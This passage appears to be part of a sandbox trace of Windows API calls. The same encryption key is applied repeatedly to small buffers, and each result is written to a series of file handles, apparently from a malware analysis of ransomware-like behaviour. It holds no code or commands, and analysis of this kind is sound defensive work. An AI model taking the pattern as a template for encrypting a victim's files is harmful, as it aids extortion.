pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.663] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.663] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.664] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.664] CloseHandle (hObject=0x2a78) returned 1 [0224.677] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.677] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.677] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.678] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.678] CloseHandle (hObject=0x2a78) returned 1 [0224.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.688] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.689] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.689] CloseHandle (hObject=0x2a78) returned 1 [0224.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.936] WriteFile (in: hFile=0x2a78, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.937] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.937] CloseHandle (hObject=0x2a78) returned 1 [0224.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.946] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.947] WriteFile (in: hFile=0x2a78, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.947] WriteFile (in: hFile=0x2a78, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.947] CloseHandle (hObject=0x2a78) returned 1 [0224.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.969] WriteFile (in: hFile=0x2a8c, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.969] WriteFile (in: hFile=0x2a8c, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.970] CloseHandle (hObject=0x2a8c) returned 1 [0224.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0224.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0224.975] WriteFile (in: hFile=0x2a8c, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0224.975] WriteFile (in: hFile=0x2a8c, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0224.976] CloseHandle (hObject=0x2a8c) returned 1 [0225.000] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.000] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.000] WriteFile (in: hFile=0x2a8c, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.001] WriteFile (in: hFile=0x2a8c, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.001] CloseHandle (hObject=0x2a8c) returned 1 [0225.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.004] WriteFile (in: hFile=0x2a8c, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.005] WriteFile (in: hFile=0x2a8c, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.005] CloseHandle (hObject=0x2a8c) returned 1 [0225.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.068] WriteFile (in: hFile=0x2ab4, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.068] WriteFile (in: hFile=0x2ab4, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.068] CloseHandle (hObject=0x2ab4) returned 1 [0225.081] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.081] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.081] WriteFile (in: hFile=0x2ab4, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.082] WriteFile (in: hFile=0x2ab4, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.082] CloseHandle (hObject=0x2ab4) returned 1 [0225.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.116] WriteFile (in: hFile=0x2ad4, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.117] WriteFile (in: hFile=0x2ad4, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.117] CloseHandle (hObject=0x2ad4) returned 1 [0225.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.124] WriteFile (in: hFile=0x2ad4, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.125] WriteFile (in: hFile=0x2ad4, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.125] CloseHandle (hObject=0x2ad4) returned 1 [0225.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.137] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.137] WriteFile (in: hFile=0x2ad4, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.138] WriteFile (in: hFile=0x2ad4, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.138] CloseHandle (hObject=0x2ad4) returned 1 [0225.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.147] WriteFile (in: hFile=0x2ad4, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.147] WriteFile (in: hFile=0x2ad4, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.148] CloseHandle (hObject=0x2ad4) returned 1 [0225.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.231] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.231] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.231] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.232] CloseHandle (hObject=0x2aec) returned 1 [0225.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.266] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.267] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.267] CloseHandle (hObject=0x2aec) returned 1 [0225.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.282] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.282] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.283] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.283] CloseHandle (hObject=0x2aec) returned 1 [0225.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.299] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.300] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.300] CloseHandle (hObject=0x2aec) returned 1 [0225.315] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.316] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.316] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.317] CloseHandle (hObject=0x2aec) returned 1 [0225.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.331] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.331] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.332] CloseHandle (hObject=0x2aec) returned 1 [0225.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.430] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.430] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.431] CloseHandle (hObject=0x2aec) returned 1 [0225.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.434] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.434] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.434] CloseHandle (hObject=0x2aec) returned 1 [0225.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.438] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.438] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.439] CloseHandle (hObject=0x2aec) returned 1 [0225.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 